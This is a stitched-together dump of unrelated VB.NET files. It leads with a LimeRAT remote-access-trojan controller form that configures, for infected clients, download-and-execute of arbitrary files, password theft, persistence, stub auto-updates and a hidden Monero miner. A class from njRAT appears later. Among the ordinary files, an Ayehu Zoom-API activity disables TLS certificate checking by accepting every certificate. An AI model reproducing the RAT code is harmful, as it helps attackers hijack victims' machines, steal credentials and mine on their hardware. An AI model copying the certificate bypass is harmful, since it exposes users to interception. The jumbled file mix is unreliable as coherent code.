Public Class OnConnect Private Sub OnConnect_Load(sender As Object, e As EventArgs) Handles Me.Load txtPing.Text = "Ping All Clients Every : " + barPing.Value.ToString + " Second" End Sub Private Sub barPing_Scroll(sender As Object, e As ScrollEventArgs) Handles barPing.Scroll txtPing.Text = "Ping All Clients Every : " + barPing.Value.ToString + " Second" Main.PingClients.Interval = barPing.Value * 1000 End Sub Private Sub chkDE_CheckedChanged(sender As Object, e As EventArgs) Handles chkDE.CheckedChanged If chkDE.Checked Then Dim o As New OpenFileDialog With o .Title = "RUN ON CONNECT" End With If o.ShowDialog = Windows.Forms.DialogResult.OK Then 'Dim exe As New IO.FileInfo(o.FileName) 'Dim exesize As Long = exe.Length 'If exesize > 530000 Then ' MsgBox("Max file size is 500KB") ' GoTo e 'End If chkDE.Text = "Download and Execute : " + IO.Path.GetFileName(o.FileName) Main.PathEXE = o.FileName Main.CHK_DE = True Else Main.PathEXE = "" chkDE.Text = "Download and Execute" Main.CHK_DE = False Main.List_DE.Clear() chkDE.Checked = False End If Else e: Main.PathEXE = "" chkDE.Text = "Download and Execute" Main.CHK_DE = False Main.List_DE.Clear() chkDE.Checked = False End If End Sub Private Sub OnConnect_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing Me.Hide() e.Cancel = True End Sub Private Sub chkPWD_CheckedChanged(sender As Object, e As EventArgs) Handles chkPWD.CheckedChanged If chkPWD.Checked Then Main.CHK_PWD = True Else Main.CHK_PWD = False Main.List_PWD.Clear() End If End Sub Private Sub btnUpdateStart_Click(sender As Object, e As EventArgs) Handles btnUpdateStart.Click Try Dim result As DialogResult result = MessageBox.Show("Do you want to update your clients with latest stub version?" & vbNewLine & vbNewLine & "This will only update the outdated clients." & vbNewLine & vbNewLine & "Latest LimeRAT stub is " + S_Settings.StubVer, "Auto-Update", MessageBoxButtons.YesNo, MessageBoxIcon.Question) If result = DialogResult.Yes Then Dim o As New OpenFileDialog With o .Filter = "*.exe (*.exe)| *.exe" .InitialDirectory = Application.StartupPath .Title = "Select New-Client" End With If o.ShowDialog = Windows.Forms.DialogResult.OK Then 'Dim exe As New IO.FileInfo(o.FileName) 'Dim exesize As Long = exe.Length 'If exesize > 530000 Then ' MsgBox("Max file size is 500KB") ' Exit Sub 'End If Main.ClientEXE = o.FileName Main.AutoUpdate.Start() End If End If Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) Return End Try End Sub Private Sub btnUpdateStop_Click(sender As Object, e As EventArgs) Handles btnUpdateStop.Click Try Main.AutoUpdate.Dispose() Catch ex As Exception End Try End Sub Private Sub CHKXMR_CheckedChanged(sender As Object, e As EventArgs) Handles CHKXMR.CheckedChanged If CHKXMR.Checked Then Main.CHK_MINER = True Dim miner As New XMR miner.txtCustoms.Visible = False miner.MetroCheckBox1.Visible = False miner.MetroButton2.Visible = False miner.ShowDialog() Dim PLG = Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) Dim F = Convert.ToBase64String(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\XMR.dll")) Main._MINER_SETTINGS = "IPLM" + Main.SPL + PLG + Main.SPL + "XMR-R|'P'|" + miner.cpu + "|'P'|" + miner.url + "|'P'|" + miner.user + "|'P'|" + miner.pass + "|'P'|" + F Else Main.CHK_MINER = False Main.List_MINER.Clear() End If End Sub Private Sub chkPers_CheckedChanged(sender As Object, e As EventArgs) Handles chkPers.CheckedChanged If chkPers.Checked Then Main.CHK_PERS = True Else Main.CHK_PERS = False Main.List_PERS.Clear() End If End Sub End Class
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:2.0.50727.3603 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My <Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0"), _ Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Partial Friend NotInheritable Class MySettings Inherits Global.System.Configuration.ApplicationSettingsBase Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) #Region "My.Settings Auto-Save Functionality" #If _MyType = "WindowsForms" Then Private Shared addedHandler As Boolean Private Shared addedHandlerLockObject As New Object <Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) If My.Application.SaveMySettingsOnExit Then My.Settings.Save() End If End Sub #End If #End Region Public Shared ReadOnly Property [Default]() As MySettings Get #If _MyType = "WindowsForms" Then If Not addedHandler Then SyncLock addedHandlerLockObject If Not addedHandler Then AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings addedHandler = True End If End SyncLock End If #End If Return defaultInstance End Get End Property End Class End Namespace Namespace My <Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _ Friend Module MySettingsProperty <Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _ Friend ReadOnly Property Settings() As Global.xcopy_gui_jr07023_01.My.MySettings Get Return Global.xcopy_gui_jr07023_01.My.MySettings.Default End Get End Property End Module End Namespace
Imports NJRAT Imports System Imports NJRAT.njRAT Public NotInheritable Class GClass12 ' Methods Public Sub New(ByVal client_1 As Client, ByVal byte_1 As Byte()) Me.client_0 = client_1 Me.byte_0 = byte_1 End Sub ' Fields Public bool_0 As Boolean = False Public byte_0 As Byte() Public client_0 As Client End Class
Partial Class Countdown_Ribbon Inherits Microsoft.Office.Tools.Ribbon.RibbonBase <System.Diagnostics.DebuggerNonUserCode()> _ Public Sub New(ByVal container As System.ComponentModel.IContainer) MyClass.New() 'Required for Windows.Forms Class Composition Designer support If (container IsNot Nothing) Then container.Add(Me) End If End Sub <System.Diagnostics.DebuggerNonUserCode()> _ Public Sub New() MyBase.New(Globals.Factory.GetRibbonFactory()) 'This call is required by the Component Designer. InitializeComponent() End Sub 'Component overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Component Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Component Designer 'It can be modified using the Component Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.Tab2 = Me.Factory.CreateRibbonTab Me.Group2 = Me.Factory.CreateRibbonGroup Me.Button2 = Me.Factory.CreateRibbonButton Me.Button1 = Me.Factory.CreateRibbonButton Me.Button3 = Me.Factory.CreateRibbonButton Me.Tab2.SuspendLayout() Me.Group2.SuspendLayout() Me.SuspendLayout() ' 'Tab2 ' Me.Tab2.Groups.Add(Me.Group2) Me.Tab2.Label = "Count Down" Me.Tab2.Name = "Tab2" ' 'Group2 ' Me.Group2.Items.Add(Me.Button1) Me.Group2.Items.Add(Me.Button2) Me.Group2.Items.Add(Me.Button3) Me.Group2.Name = "Group2" ' 'Button2 ' Me.Button2.ControlSize = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge Me.Button2.Label = "Log out 9" Me.Button2.Name = "Button2" Me.Button2.OfficeImageId = "GroupPictureTools" Me.Button2.ShowImage = True ' 'Button1 ' Me.Button1.ControlSize = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge Me.Button1.Label = "Log out 7" Me.Button1.Name = "Button1" Me.Button1.OfficeImageId = "GroupPictureTools" Me.Button1.ShowImage = True ' 'Button3 ' Me.Button3.ControlSize = Microsoft.Office.Core.RibbonControlSize.RibbonControlSizeLarge Me.Button3.Label = "Log out Custom" Me.Button3.Name = "Button3" Me.Button3.OfficeImageId = "GroupPictureTools" Me.Button3.ShowImage = True ' 'Countdown_Ribbon ' Me.Name = "Countdown_Ribbon" Me.RibbonType = "Microsoft.Excel.Workbook" Me.Tabs.Add(Me.Tab2) Me.Tab2.ResumeLayout(False) Me.Tab2.PerformLayout() Me.Group2.ResumeLayout(False) Me.Group2.PerformLayout() Me.ResumeLayout(False) End Sub Friend WithEvents Tab2 As Microsoft.Office.Tools.Ribbon.RibbonTab Friend WithEvents Group2 As Microsoft.Office.Tools.Ribbon.RibbonGroup Friend WithEvents Button2 As Microsoft.Office.Tools.Ribbon.RibbonButton Friend WithEvents Button1 As Microsoft.Office.Tools.Ribbon.RibbonButton Friend WithEvents Button3 As Microsoft.Office.Tools.Ribbon.RibbonButton End Class Partial Class ThisRibbonCollection <System.Diagnostics.DebuggerNonUserCode()> _ Friend ReadOnly Property Countdown_Ribbon() As Countdown_Ribbon Get Return Me.GetRibbon(Of Countdown_Ribbon)() End Get End Property End Class
Imports Ayehu.Sdk.ActivityCreation.Interfaces Imports Ayehu.Sdk.ActivityCreation.Extension Imports System.Data Imports System.Net Imports System.Net.Http Imports Newtonsoft.Json Imports Newtonsoft.Json.Linq Imports System.Text Imports System Imports System.Collections.Generic Imports System.Web Namespace Ayehu.Sdk.ActivityCreation Public Class CustomActivity Implements IActivityAsync Public ApiKey as string Public ApiSecret as string Public message_id as string Public robot_jid as string Public account_id as string Public user_jid as string Public is_markdown_support as string Dim Httpmethod As String = "put" Dim client As HttpClient = New HttpClient() Dim dt As DataTable = New DataTable("resultSet") Dim RequestURL As String Dim TableName As String = "" Public Async Function Execute() As System.Threading.Tasks.Task(Of ICustomActivityResult) Implements IActivityAsync.Execute ServicePointManager.Expect100Continue = True ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 ServicePointManager.ServerCertificateValidationCallback = New System.Net.Security.RemoteCertificateValidationCallback(AddressOf AcceptAllCertifications) Dim PostData As String = "{ ""robot_jid"" : " & Microsoft.VisualBasic.Strings.Chr(34) & robot_jid & Microsoft.VisualBasic.Strings.Chr(34) & ", ""account_id"" : " & Microsoft.VisualBasic.Strings.Chr(34) & account_id & Microsoft.VisualBasic.Strings.Chr(34) & ", ""user_jid"" : " & Microsoft.VisualBasic.Strings.Chr(34) & user_jid & Microsoft.VisualBasic.Strings.Chr(34) & ", ""content"": { ""head"": { ""text"": ""This is the header."", ""sub_head"": { ""text"": ""This is sub header."" } }, ""body"": [ { ""type"": ""message"", ""text"": ""This is the edited message."" } ] }, ""visible_to_user"": ""arrsyrEwestw"", ""is_markdown_support"" : " & Microsoft.VisualBasic.Strings.Chr(34) & is_markdown_support & Microsoft.VisualBasic.Strings.Chr(34) & "}" Dim Data = New StringContent(PostData, Encoding.UTF8, "application/json") Dim queryString As Object = HttpUtility.ParseQueryString(String.Empty) RequestURL="https://api.zoom.us/v2/im/chat/messages/" & message_id & "?"& queryString.ToString() If RequestURL.EndsWith("&") OrElse RequestURL.EndsWith("?") Then RequestURL = RequestURL.Substring(0, RequestURL.Length - 1) Dim content As System.Net.Http.StringContent = New StringContent(PostData, Encoding.UTF8, "application/json") content.Headers.ContentType = New System.Net.Http.Headers.MediaTypeHeaderValue("application/json") client.DefaultRequestHeaders.Add("authorization", "Bearer " + JsonWebToken.Encode(ApiKey, ApiSecret)) Dim Request As HttpResponseMessage = Nothing Select Case Httpmethod Case "get" Request = client.GetAsync(RequestURL).Result Case "delete" Request = client.DeleteAsync(RequestURL).Result Case "put" Request = client.PutAsync(RequestURL, Data).Result Case "post" Request = client.PostAsync(RequestURL, Data).Result Case "patch" Dim myHttpRequestMessage As New HttpRequestMessage(New HttpMethod("PATCH"), RequestURL) myHttpRequestMessage.Content = content Request = client.SendAsync(myHttpRequestMessage).Result End Select Select Case Request.StatusCode Case HttpStatusCode.NoContent, HttpStatusCode.Created, HttpStatusCode.Accepted Return GenerateActivityResult("Success") Case HttpStatusCode.OK Dim values As JObject = JsonConvert.DeserializeObject(Of JObject)(Request.Content.ReadAsStringAsync().Result) If String.IsNullOrEmpty(TableName) Then 'Single record For Each obj As Object In values If dt.Columns.Count = 0 Then dt.Columns.Add(obj.Key) Else Exit For End If Next Dim newrow As DataRow = dt.NewRow For Each obj As Object In values If dt.Columns.Contains(obj.Key) = False Then dt.Columns.Add(obj.Key) ' Some columns discovered later newrow(obj.Key) = obj.Value Next dt.Rows.Add(newrow) Else If values.ContainsKey(TableName) Then For Each usersJ As JObject In values(TableName) For Each obj As Object In usersJ If dt.Columns.Count = 0 Then dt.Columns.Add(obj.Key) Else Exit For End If Next Dim newrow As DataRow = dt.NewRow For Each obj As Object In usersJ If dt.Columns.Contains(obj.Key) = False Then dt.Columns.Add(obj.Key) ' Some columns discovered later newrow(obj.Key) = obj.Value Next dt.Rows.Add(newrow) Next Else Dim newrow As DataRow = dt.NewRow For Each obj As Object In values If dt.Columns.Contains(obj.Key) = False Then dt.Columns.Add(obj.Key) ' Some columns discovered later newrow(obj.Key) = obj.Value Next dt.Rows.Add(newrow) End If End If Return GenerateActivityResult(dt) Case Else If String.IsNullOrEmpty(Request.ReasonPhrase) = False Then Throw New System.Exception(Request.ReasonPhrase) Else Throw New System.Exception(Request.StatusCode) End If End Select End Function Public Function AcceptAllCertifications(ByVal sender As Object, ByVal certification As System.Security.Cryptography.X509Certificates.X509Certificate, ByVal chain As System.Security.Cryptography.X509Certificates.X509Chain, ByVal sslPolicyErrors As System.Net.Security.SslPolicyErrors) As Boolean Return True End Function End Class Public Class JsonWebToken Public Shared Function Encode(APIKey As String, Secret As String) As String Dim keyBytes As Byte() = System.Text.Encoding.UTF8.GetBytes(Secret) Dim myhdr As New HDR myhdr.alg = "HS256" myhdr.typ = "JWT" Dim Expiry As System.DateTime = DateTime.UtcNow.AddSeconds(120) Dim ts As Integer = CInt((Expiry - New System.DateTime(1970, 1, 1)).TotalSeconds) Dim myhdrpayload As String = Newtonsoft.Json.JsonConvert.SerializeObject(myhdr) Dim mytpayload As New Tpayload mytpayload.iss = APIKey mytpayload.exp = ts Dim mypayload As String = Newtonsoft.Json.JsonConvert.SerializeObject(mytpayload) Dim headerBytes As Byte() = System.Text.Encoding.UTF8.GetBytes(myhdrpayload) Dim payloadBytes As Byte() = System.Text.Encoding.UTF8.GetBytes(mypayload) Dim stringToSign = Base64UrlEncode(headerBytes) + "." + Base64UrlEncode(payloadBytes) Dim bytesToSign = System.Text.Encoding.UTF8.GetBytes(stringToSign) Dim sha As New System.Security.Cryptography.HMACSHA256(keyBytes) Dim signature As Byte() = sha.ComputeHash(bytesToSign) Return stringToSign + "." + Base64UrlEncode(signature) End Function Private Shared Function Base64UrlEncode(ByVal input As Byte()) As String Dim output = System.Convert.ToBase64String(input) output = output.Split("="c)(0) output = output.Replace("+"c, "-"c) output = output.Replace("/"c, "_"c) Return output End Function End Class Public Class HDR Public alg As String Public typ As String End Class Public Class Tpayload Public iss As String Public exp As Integer End Class End Namespace
'''<summary>An object implementing the StyleSheet interface represents a single style sheet. CSS style sheets will further implement the more specialized CSSStyleSheet interface.</summary> <DynamicInterface(GetType(EcmaScriptObject))> Public Interface [StyleSheet] '''<summary>Is a Boolean representing whether the current stylesheet has been applied or not.</summary> Property [disabled] As Boolean '''<summary>Returns a DOMString representing the location of the stylesheet.</summary> ReadOnly Property [href] As String '''<summary>Returns a MediaList representing the intended destination medium for style information.</summary> ReadOnly Property [media] As Dynamic '''<summary>Returns a Node associating this style sheet with the current document.</summary> ReadOnly Property [ownerNode] As Node '''<summary>Returns a DOMString representing the advisory title of the current style sheet.</summary> ReadOnly Property [title] As String '''<summary>Returns a DOMString representing the style sheet language for this style sheet.</summary> ReadOnly Property [type] As Dynamic End Interface